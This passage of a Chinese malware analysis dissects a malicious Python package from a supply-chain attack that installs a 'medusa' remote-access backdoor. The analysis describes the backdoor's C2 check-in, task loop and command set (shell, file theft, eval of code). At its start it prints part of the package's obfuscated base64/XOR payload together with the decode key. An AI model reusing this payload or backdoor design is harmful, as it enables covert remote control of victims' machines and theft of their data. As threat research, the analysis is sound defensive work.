YAgRNOEYYFhlCRBYTE0ZFRhJ4X0BBB0MTDkFUBh0/GBgTFEESRhgWGUJEFHhaCgkiUUZTFg9CEwMEU1QYAAQVCQQWTThGGBYZQkQWExNGRUYSV1hXaglUSBZbRk4TQ1lURlFDCEYaV1wRVgMFbA4IB1MQGhQXB19SawoDTBMPGBpneDADLGhVUgk3bFB7NSoqdkQCQBoPdkBEFS5eXhpSe0kMN0sOdk5BKlVFDhFKRURUV1VrXgdIEw5BRGF9ZAlyY1cKWTViVXExK3p1RVIRSV11R0RBKlpeGwslTwljQVB9TBl6V0sLGx9IPBMTRkVGEBIWFBVCERNxGQVdcl1TGgkUQ2ZEFDwZQkQWExNGRUYQEhYWcgdFZGYoRA8RFxdRXVAESkQUPBlCRBYTE0ZFRhASFhZyB0VhVRMHWBMPGBpCFk04RhgWGUJEFhMTRkVGEmJEW00beV5HFUQPERcaFDkUQRJGGBYZQkQWExNENRRfSk9hRgdDEw5BRBcdPxgYExRBEkYYFhlCRBRjQQkdH2BTRUcXWBETFk1sFREVGBgTFEESRhgWGzIWWUtKNgoURBAMFBdAHTsUQUYVERUYGE4+axJGGBYZQkQWRFsPCQMYZkRBUEsLOxRBRhURFRgYExRBEg9eHkoHCFAdUgEACERtVVtbBFhWb0MzYHhxGmUTCVwSRBofA2hEFhMTRkVGEBIWFBVCEREUEgNZVxtbUFZXCnsIEB8zQkQWExNGRUYQEhYUFUIREUcEClMfVF9dXUAyXgNdRhFLbhYTE0ZFRhASFhQVQlRdRwRcPxEVGBgTFEESRhgWGUJEFhNEDgwKVRpiRkAHGAs+QUYVERUYGBMUQRJGGBYZQkQWExMPA0ZDV1pSGxJQQkcEAn5YWVRcUkAEGk8CPBlCRBYTE0ZFRhASFhQVQhERFEFGFREVGEtWWAccA0BfTUpNPBMTRkVGEBIWFBVCEREUQUYVERUYTEFNWzhGGBYZQkQWExNGRUYQEhYUFUIRERRBRhVCUFReHVMERjJZRVILClFAG09vRhASFhQVQhERFEFGFREVGBgTFEESRhgWSgcIUB1DFAoFVUFFYFQRWlhaBhUdGD8YGBMUQRJGGBYZQkQWExNGRUYQEhYUFUJCVFgHSEVeRkxqVkcRXQhLU0pKTTwTE0ZFRhASFhQVQhERFEFGFREVGF1LVwRCEgIWSQMXRTkTRkVGEBIWFBVCEREUQUYVERUYGEBRDVRIWVFcDBBlX1YDFU4ZEhYUFUIRERRBRhURFRgYExRBEmwyX19CO2ldUgsAOW8SCwkVQG5uWQAPW25qGgI5FEESRlVTXRcXVxMORggDVEdFVR1L'), itertools.cycle(b'869bd633fef02645b114af5158834a2f'))).encode()) |
解密可得到恶意python代码如下:
1 | import os, random, sys, json, socket, base64, time, platform, ssl |
以上代码可以判定该包为用于软件供应链攻击的恶意python包。
行为分析
样本封装了一个medusa
类,并在恶意包安装落地后初始化一个medusa
对象实例,其__init__
方法如下:
1 | def __init__(self): |
初始化得到了一些必要信息,相关字段用途说明如下表:
字段 | 作用 |
---|---|
socks_open | 用于保存与c2服务器通信的socket套接字 |
socks_in | 保存接收数据包队列 |
socks_out | 保存发送数据包队列 |
taskings | 执行远控功能的队列 |
_meta_cache | 用于保存加载的其他模块 |
moduleRepo | 用于指定模块仓库地址 |
current_directory | 保存当前执行路径 |
agent_config | 记录诸如服务器域名,端口,请求头,密钥等关键预置信息 |
并通过while(True)
长期驻留,实现持久化;
在while
循环中,首次执行时会通过medusa.checkIn()
方法收集受害机器信息,包括IP地址,操作系统及版本号,用户名,主机名,当前进程ID,处理器架构,通信加密密钥和解密密钥:
1 | def checkIn(self): |
并经上述信息回传服务器,得到服务器下发的PayloadUUID
之后就长期驻留目标机器,通过medusa.getTaskings()
方法获取服务器端下发的命令任务,medusa.processTaskings()
方法开启多线程执行任务,medusa.postResponses()
方法回传任务结果。若没有任务下发会进入休眠等待。
功能分析
经人工分析后总结,该包是一个远控后门,具有以下功能:
- 获取远端任务:
1 | def getTaskings(self): |
相关数据结构说明:
字段 | 说明 |
---|---|
task_id | 任务ID |
command | 任务命令行 |
parameters | 执行任务的所需参数 |
result | 执行结果 |
completed | 标识完成状态 |
started | 标识开始状态 |
error | 任务错误原因 |
stopped | 标识中止状态 |
- 执行任务功能:
通过多线程执行任务队列状态为未开始的任务。
1 | def processTask(self, task): |
任务内容通过getattr()
方法配合command
字段获得并使用eval()
方法执行,该样本中已经实现的任务功能如下:
任务名 | 功能说明 |
---|---|
cat | 获取指定文件内容 |
cd | 转移工作目录到指定目录 |
cp | 拷贝文件到指定路径 |
cwd | 获取当前工作路径 |
download | 从受控机器下载文件 |
env | 获取环境变量 |
eval_code | 执行python 代码片段 |
exit | 退出 |
jobkill | 中止某个任务 |
jobs | 列出当前所有任务 |
list_modules | 列出当前加载的模块 |
list_tcc | 查看macos 系统TCC 数据 |
load | 加载添加并执行新后门任务方法 |
load_module | 加载模块 |
mv | 移动指定文件 |
rm | 删除指定文件 |
shell | 执行shell 命令 |
sleep | 设置休眠时间 |
socks | 建立通信通道 |
unload | 移除后门任务方法 |
unload_module | 卸载模块 |
upload | 上传文件到受控机器 |
watch_dir | 监控文件夹变化 |
除以上主要功能外,改样本还自实现AES 密码模块用于加密通信,其通信密钥被预置于medusa
类中的agent_config.enc_key
字段中
——Powered by奇安信技术研究院星图实验室